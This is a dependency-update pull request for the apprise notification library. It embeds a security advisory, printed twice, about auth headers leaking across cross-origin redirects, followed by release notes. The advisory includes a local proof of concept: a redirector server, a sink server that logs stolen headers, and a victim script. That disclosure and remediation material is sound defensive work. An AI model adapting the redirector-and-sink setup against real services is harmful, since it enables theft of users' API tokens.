Skip to content

fix(deps): update dependency apprise to v1.11.0 [security] - #187

Open
koalabot-rt[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-apprise-vulnerability
Open

koalabot-rt[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-apprise-vulnerability

Conversation

@koalabot-rt

@koalabot-rt koalabot-rt Bot commented Oct 14, 2026 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
apprise ==1.9.6 → ==1.11.0 age confidence

Apprise forwards configured auth headers across cross-origin HTTP redirects

CVE-2026-59180 / GHSA-856c-92hv-3vxx / PYSEC-2026-4200

More information

Details

Summary

Apprise's HTTP-based notification plugins and its HTTP attachment / config loaders (apprise/attachment/http.py, apprise/config/http.py) follow HTTP 3xx redirects by default and re-send the user-configured auth headers and query parameters on the redirected request. If an operator-configured destination is later compromised (service takeover, malicious update), or an attacker holds a MITM position on an unprotected network path, that destination can return a 302 Location: to an arbitrary host and Apprise forwards the user's secret (X-Gotify-Key, Authorization, bearer tokens in query, custom +Header= values) to that cross-origin host. The attacker does not need to control the original Apprise URL — only the response from a destination the operator already trusts.

This is the application-layer analogue of urllib3 GHSA-34jh-p97f-mpxf / CVE-2026-44431 ("Proxy-Authorization forwarded across cross-origin redirect").

Affected versions

All releases up to and including v1.10.0 (latest PyPI release as of filing, 2026-04-26). Fixed in v1.11.0 (released 2026-05-29), which includes PR #​1610 (merged 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d).

Details

apprise/plugins/gotify.py (pre-fix HEAD, lines 226-244, verbatim):

headers = {
    "User-Agent": self.app_id,
    "Content-Type": "application/json",
    "X-Gotify-Key": self.token,    # user-supplied secret
}
...
r = requests.post(
    url,
    data=dumps(payload),
    headers=headers,
    verify=self.verify_certificate,
    timeout=self.request_timeout,
    # NO allow_redirects=False -- requests default is True
)

requests follows 3xx redirects by default and re-attaches the headers= dict on the redirected request, regardless of origin. The same shape exists across ~50 plugins (custom_json, custom_xml, custom_form, gotify, ntfy, mattermost, apprise_api, and most other HTTP-based plugins), plus in apprise/attachment/http.py and apprise/config/http.py.

Reproduction (local, safe)
##### attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:8082/exfil")
        self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever()
##### attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        print("LEAKED HEADERS:", dict(self.headers))
        self.send_response(204); self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever()
##### victim
from apprise import Apprise
a = Apprise()
a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN")
a.notify(body="x")

Observed on master HEAD (2026-05-13): attacker_sink.py prints X-Gotify-Key: SECRETTOKEN -- the user-supplied token followed the cross-origin redirect.

Patch

Fix landed in caronc/apprise#1610 (merged 2026-05-16, commit 68c0aef):

  • Adds ?redirect=yes|no URL parameter on every plugin URL
  • Adds AppriseAsset.http_redirects global default
  • Equivalent flags wired into apprise/attachment/http.py and apprise/config/http.py

The default remains redirects=True for backwards compatibility -- operators who relay notifications through destinations they don't fully trust should append ?redirect=no to their Apprise URLs or set AppriseAsset(http_redirects=False) globally.

Released in v1.11.0 (2026-05-29, available on PyPI).

Related:

Remediation

Upgrade to Apprise v1.11.0 or later (pip install -U apprise).

The default remains redirect=yes for backwards compatibility, so after upgrading, operators who relay notifications through destinations they don't fully trust should also set AppriseAsset(http_redirects=False) globally or append ?redirect=no to each plugin URL.

If you cannot upgrade yet, operate Apprise only against fully trusted notification destinations (the maintainer-documented supported model).

Classification
  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor -- user's auth tokens / API keys / custom +Header= values are forwarded onto the cross-origin redirected request.
  • CWE-601 URL Redirection to Untrusted Site -- a 3xx response from the initial (operator-configured) target sends the request and its credentials to a host the operator never configured.

CVSS 3.1: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N -> 3.1 LOW.

Attack requires the operator-configured destination to be compromised or an attacker to be on the network path. Impact is partial confidentiality loss: a single user-supplied secret per redirected request, scoped to that one notification channel. This is intentionally a narrow redirect/header-forwarding hardening issue, not a claim that remote destinations or remote configuration are themselves vulnerabilities.

Severity

  • CVSS Score: 3.1 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Apprise forwards configured auth headers across cross-origin HTTP redirects

CVE-2026-59180 / GHSA-856c-92hv-3vxx / PYSEC-2026-4200

More information

Details

Summary

Apprise's HTTP-based notification plugins and its HTTP attachment / config loaders (apprise/attachment/http.py, apprise/config/http.py) follow HTTP 3xx redirects by default and re-send the user-configured auth headers and query parameters on the redirected request. If an operator-configured destination is later compromised (service takeover, malicious update), or an attacker holds a MITM position on an unprotected network path, that destination can return a 302 Location: to an arbitrary host and Apprise forwards the user's secret (X-Gotify-Key, Authorization, bearer tokens in query, custom +Header= values) to that cross-origin host. The attacker does not need to control the original Apprise URL — only the response from a destination the operator already trusts.

This is the application-layer analogue of urllib3 GHSA-34jh-p97f-mpxf / CVE-2026-44431 ("Proxy-Authorization forwarded across cross-origin redirect").

Affected versions

All releases up to and including v1.10.0 (latest PyPI release as of filing, 2026-04-26). Fixed in v1.11.0 (released 2026-05-29), which includes PR #​1610 (merged 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d).

Details

apprise/plugins/gotify.py (pre-fix HEAD, lines 226-244, verbatim):

headers = {
    "User-Agent": self.app_id,
    "Content-Type": "application/json",
    "X-Gotify-Key": self.token,    # user-supplied secret
}
...
r = requests.post(
    url,
    data=dumps(payload),
    headers=headers,
    verify=self.verify_certificate,
    timeout=self.request_timeout,
    # NO allow_redirects=False -- requests default is True
)

requests follows 3xx redirects by default and re-attaches the headers= dict on the redirected request, regardless of origin. The same shape exists across ~50 plugins (custom_json, custom_xml, custom_form, gotify, ntfy, mattermost, apprise_api, and most other HTTP-based plugins), plus in apprise/attachment/http.py and apprise/config/http.py.

Reproduction (local, safe)
##### attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:8082/exfil")
        self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever()
##### attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        print("LEAKED HEADERS:", dict(self.headers))
        self.send_response(204); self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever()
##### victim
from apprise import Apprise
a = Apprise()
a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN")
a.notify(body="x")

Observed on master HEAD (2026-05-13): attacker_sink.py prints X-Gotify-Key: SECRETTOKEN -- the user-supplied token followed the cross-origin redirect.

Patch

Fix landed in caronc/apprise#1610 (merged 2026-05-16, commit 68c0aef):

  • Adds ?redirect=yes|no URL parameter on every plugin URL
  • Adds AppriseAsset.http_redirects global default
  • Equivalent flags wired into apprise/attachment/http.py and apprise/config/http.py

The default remains redirects=True for backwards compatibility -- operators who relay notifications through destinations they don't fully trust should append ?redirect=no to their Apprise URLs or set AppriseAsset(http_redirects=False) globally.

Released in v1.11.0 (2026-05-29, available on PyPI).

Related:

Remediation

Upgrade to Apprise v1.11.0 or later (pip install -U apprise).

The default remains redirect=yes for backwards compatibility, so after upgrading, operators who relay notifications through destinations they don't fully trust should also set AppriseAsset(http_redirects=False) globally or append ?redirect=no to each plugin URL.

If you cannot upgrade yet, operate Apprise only against fully trusted notification destinations (the maintainer-documented supported model).

Classification
  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor -- user's auth tokens / API keys / custom +Header= values are forwarded onto the cross-origin redirected request.
  • CWE-601 URL Redirection to Untrusted Site -- a 3xx response from the initial (operator-configured) target sends the request and its credentials to a host the operator never configured.

CVSS 3.1: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N -> 3.1 LOW.

Attack requires the operator-configured destination to be compromised or an attacker to be on the network path. Impact is partial confidentiality loss: a single user-supplied secret per redirected request, scoped to that one notification channel. This is intentionally a narrow redirect/header-forwarding hardening issue, not a claim that remote destinations or remote configuration are themselves vulnerabilities.

Severity

  • CVSS Score: 3.1 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Release Notes

caronc/apprise (apprise)

v1.11.0

Compare Source

What's Changed

A big win for this release is priortization of grouped/tagged content. Basically, this release allows you to tag multiple items and provide a weight to them. Apprise will attempt to notify the highest priority/weighted services first (of same level), and only if this level fails will it try the next. Tagging is no longer just a tag. It's now weight:tag too; for example 100:friends associates the weight of 100 with the tag friends. You can still continue to notify friends with your Apprise calls, but if there are weight categories, then these will be factored into the order. Highest priority (weighted) tags have a lower integer value (zero being the higest priority). Only the next priority will be notified if the first fails.

This releae also allows you to set up a notifiation service to gracefully fail and not have Apprise itself report a failure. This is useful for situations where you notify several end points and you really don't care if they're unavailable or not. Apprise wil do it's usual best effort to send the notification, but not treat it as a failure if it can't get through. Use optional=yes on your Apprise URL.

Thirdly, this release introduces retries! You can now have Apprise attempt to notify your endpoint a second, or a third, (up to 10x) tries before giving up and deeming it unable to send the notification. Use retry=X on your Apprise URL

📣 New Notification Services:
🐞 Bugfixes
  • improved robustness of windows test cases preventing others from passing in #​1609
  • Handle XMPP SASL SCRAM-PLUS / Channel Binding in #​1619
  • TRACE logging during apprise init cleaned up in #​1622
  • fixed mastodon error: AttributeError - 'list' object has no attribute 'union' in #​1631
💡 Features
  • o365:// saveToSentItems configurable - ?savesent=no in #​1599
  • updated WhatsApp Buisness Graph API to v21 in #​1603
  • 🔥 Built in retries, escalations, priorities, and optional service calls in #​1601
  • Slack Template/Payload support in #​1604
  • Added Slack workflows and trigger support in #​1605
  • 🚀 Pushover E2EE Support in #​1612
  • WKD support added to email plugin in #​1614 and #​1618
  • Amazon SNS/SES Improvements in #​1620
  • Notifico Standalone Support Added in #​1275
❤️ Life-Cycle Support
  • Update LoC badge by @​github-actions[bot] in #​1593
  • Twitter/X migration to API v2 in #​1607
  • improvements to workflow:// based on recent slack:// changes in #​1608
  • 🔓 Added redirect= for allowing url redirection control in #​1610
  • mqtt:// now depends on paho-mqtt v2.1.0+ in #​1613
  • 💀 Retire msteams:// as it is no longer in service upstream in #​1625

Installation

Apprise is available on PyPI through pip:

# Install Apprise v1.11.0 from PyPI
pip install apprise==1.11.0

Full Changelog: caronc/apprise@v1.10.0...v1.11.0

v1.10.0

Compare Source

What's Changed

The big wow factor of this release would be the huge effort put into Matrix E2EE built into Apprise without adding overhead to the plugin itself. Huge props to those that helped out. Other than that, a few more services have been added (137 supported now 🚀 ).

The official documentation website (https://appriseit.com) got a nice cleanup; the Service listings are now searchable; some nice tweaks to the URL Builder as well.

📣 New Notification Services:
🐞 Bugfixes
  • ntfy:// tags= changed to xtags= in #​1555
    • this allows tags to work again correctly for those dependant on it; previously tags= conflicted with tags= in Apprise)
  • XMPP server hostname can differentiate to what is found in JID in #​1560
  • fixed issue with mailto:// when using yahoo.com in #​1561
  • Fluxer time dependant unittest assertion optimized for slower systems in #​1566
  • fixed templating references impacting url generation (on https://appriseit.com) in #​1582
  • fixed KeyError Exception thrown when certain emoji's specified in #​1592
💡 Features
  • Migrate the Dot. (Quote/0) plugin from API v1 to API v2 by @​HerbertGao in #​1512
    • Updated Dot. plugin to better align with Apprise in #​1588
  • URLs that can not be loaded are more verbose for the reasoning in #​1568
  • Webex wxteams:// Bot API Support in #​1567
  • fixes parse_url() -> url() -> parse_url() inconsistency in #​1572
  • Pushover Delivery Group Support in #​1563
  • Matrix token template cleanup in #​1573
  • fcm:// add apns-push-type header for reliable iOS delivery by @​AlbertoLanaro in #​1577
  • Home Assistant "Service' Notification Support Added (extension to what was already there) in #​1294
  • Added attachment support to Mattermost in #​1583
  • 🔥 Matrix E2EE Support in #​1574
  • Matrix Hookshot support added in #​1586
  • Mastodon supports hashtag/user references in #​1587
  • PushPlus refactored to support more options in #​1589
  • Inproved azure:// error handling and message responses in #​1499
❤️ Life-Cycle Support

Installation

Apprise is available on PyPI through pip:

# Install Apprise v1.10.0 from PyPI
pip install apprise==1.10.0

New Contributors

Full Changelog: caronc/apprise@v1.9.9...v1.10.0

v1.9.9

Compare Source

What's Changed

This is a mini release, but it fixes some issues with XMPP and adds other improvements to how the plugins are defined. This release will complete all the steps needed to open up the new URL Builder.

🐞 Bugfixes
  • xmpp asyncio test cases improvements in #​1544
  • xmpp send/disconnect race condition in #​1543
  • Resolved 'file can not be opened for read' AttachMemory issue in #​1553
  • Matrix v2 API improvements in #​1552
💡 Features
  • XMPP Multi-User Chat support in #​1551
❤️ Life-Cycle Support

Specifically URL Builder Preparration:

  • details() can now be provided in a json response in #​1545
  • cleanup to repo to reflect URL-Builder coming in #​1547

Installation

Apprise is available on PyPI through pip:

# Install Apprise v1.9.9 from PyPI
pip install apprise==1.9.9

Full Changelog: caronc/apprise@v1.9.8...v1.9.9

v1.9.8

Compare Source

What's Changed

It's been a few months now; Apprise is due for a release containing all of the issues that have been resolved. I feel the big highlights of this release are IRC, Fluxer, and the return of XMPP support!

Continue to refer to https://AppriseIt.com for your documentation needs.

📣 New Notification Services:
🐞 Bugfixes

n/a

💡 Features
❤️ Life-Cycle Support
  • Standardize linting by enabling Ruff preview rules and updating code base in #​1510
  • Remove unnecessary pytest rpm dependencies in #​1515
  • CLI test cases compatible now with Python v3.15 in #​1516
  • Updated copyright notices to reflect 2026 in #​1540

Installation

Apprise is available on PyPI through pip:

# Install Apprise v1.9.8 from PyPI
pip install apprise==1.9.8

New Contributors

Full Changelog: caronc/apprise@v1.9.7...v1.9.8

v1.9.7

Compare Source

What's Changed

Big changes of this release is we're back at 100% test coverage plus a new documentation source: https://AppriseIt.com

🐞 Bugfixes
  • discord:// improvements to ping= handling in #​1470
  • Bugzilla 2424601 resolved - no NotifyType enum leaking in #​1473
  • resolves reoccurring warning for GdkPixbuf in #​1488
  • Improved Matrix room handling in #​1492
💡 Features
❤️ Life-Cycle Support
  • 🔥 Adapt appriseit.com as new documentation source in #​1486
  • Improved documentation surrounding tagging in #​1489
  • improved on notification manger customization in #​1490
  • 🚀 100% test coverage in #​1491

New Contributors

Installation

Apprise is available on PyPI through pip:

# Install Apprise v1.9.7 from PyPI
pip install apprise==1.9.7

Full Changelog: caronc/apprise@v1.9.6...v1.9.7


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

@koalabot-rt koalabot-rt Bot added dependencies Pull requests that update a dependency file minor renovate labels Oct 14, 2026
@socket-security

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security
Vulnerability Quality Maintenance License
Updatedapprise@​1.9.6 ⏵ 1.11.074 +1100 +1100100100

View full report

@coderabbitai

coderabbitai Bot commented Oct 14, 2026

Copy link
Copy Markdown

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

⚙️ Run configuration
  • Configuration used: Organization UI
  • Review profile: CHILL
  • Plan: Advanced
  • Run ID: ac2e1f12-9ace-48a6-99ff-417acc0a54fd

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file minor renovate

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants